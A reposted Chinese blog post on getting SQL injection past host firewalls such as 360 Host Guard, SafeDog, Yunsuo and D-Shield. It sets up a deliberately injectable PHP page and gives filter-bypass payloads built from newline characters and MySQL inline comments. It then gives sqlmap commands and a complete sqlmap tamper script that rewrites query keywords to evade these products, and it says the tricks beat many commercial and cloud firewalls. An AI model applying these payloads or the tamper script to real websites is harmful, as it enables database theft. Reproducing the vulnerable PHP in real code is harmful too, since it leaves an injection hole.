[转]绕过360,安全狗,D盾等进行Sql注入

[转]绕过360,安全狗,D盾等进行Sql注入

作者:Bypass

0x01 前言

在测试过程中,经常会遇到一些主机防护软件,对这方面做了一些尝试,可成功bypass了GET和POST的注入防御,分享一下姿势。

0x02 环境搭建

Windows Server 2003+phpStudy

sql注入点测试代码:

sql.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
$con = mysql_connect("localhost","root","root");
if (!$con)
{
die('Could not connect: ' . mysql_error());
}
mysql_select_db("test", $con);
$id = $_REQUEST[ 'id' ];
$query = "SELECT * FROM admin WHERE username = $id ";
$result = mysql_query($query);
while($row = mysql_fetch_array($result))
{
echo $row['0'] . " " . $row['1'];
echo "<br />";
}
echo "<br/>";
echo $query;
mysql_close($con);
?>

运行效果:

0x03 Bypass 过程

对不同waf做了一些尝试,关于SQL注入bypass,可以考虑划分为3种:

1、完全bypass(union select+select from)

2、部分bypass(union select 或select from)

3、获取一些敏感信息(如version()、database()等)

A、Union+select

先考虑如何绕过union+select,可以考虑一下几种形式

1、最常见形式 %20、+、/**/

2、Mysql中可以利用的空白字符有:%09,%0a,%0b,%0c,%0d,%20,%a0

3、内联注释 /!12345select/

通过组合测试,可以发现 union%0a/!12345select/ 1,2 可以绕过防御。

B、select+from

  select+from 也可以通过同样的组合形式绕过防御。

至此已完全绕过union+select+from。

0x04 自动化注入

编写tamper bypass脚本,来利用sqlmap来跑数据

先看一下原始sqlmap的效果:

1
sqlmap.py -u  http://192.168.106.130/config/sql.php?id=1  --flush-session --dbs   失败

加载tamper脚本,可成功获取数据。

1
sqlmap.py -u http://192.168.106.130/config/sql.php?id=1 --flush-session  --technique=U --tamper="360safe.py" --dbs

tamper脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
#!/usr/bin/env python

"""
write by Aaron
"""
from lib.core.enums import PRIORITY
from lib.core.settings import UNICODE_ENCODING
__priority__ = PRIORITY.LOW
def dependencies():
pass
def tamper(payload, **kwargs):
"""
Replaces keywords
>>> tamper('UNION SELECT id FROM users')
'union%0a/*!12345select*/id%0a/*!12345from*/users'
"""
if payload:
payload=payload.replace(" ALL SELECT ","%0a/*!12345select*/")
payload=payload.replace("UNION SELECT","union%0a/*!12345select*/")
payload=payload.replace(" FROM ","%0a/*!12345from*/")
payload=payload.replace("CONCAT","CONCAT%23%0a")
payload=payload.replace("CASE ","CASE%23%0a")
payload=payload.replace("CAST(","/*!12345CASt(*/")
payload=payload.replace("DATABASE()","database%0a()")

return payload</pre>
<div class="cnblogs_code_toolbar"><span class="cnblogs_code_copy"><a title="复制代码"></a></span></div>
</div>

这边主要是针对union select查询进行的关键字替换,测试过程中,可以发现利用tamper脚本来bypass的弊端,sqlmap的部分payload是固定的,部分关键字会被waf拦截,需要一步步调试,总结,测试哪些关键字是被拦截的,如何绕过关键字的检测等,还是挺麻烦。

0x05 END

最好的自动化注入工具:可以考虑自己编写一个自动化注入工具,灵活的自定义payload来获取数据库信息。

目前的测试成果,可成功bypass注入防御,如 安全狗、云锁、360主机卫士、D盾_IIS防火墙等主机防护软件及各种云waf,有些姿势都在用。

原文链接:https://www.cnblogs.com/xiaozi/p/7275134.html

作者

Yunen

发布于

2017-08-25

更新于

2020-12-25

许可协议

评论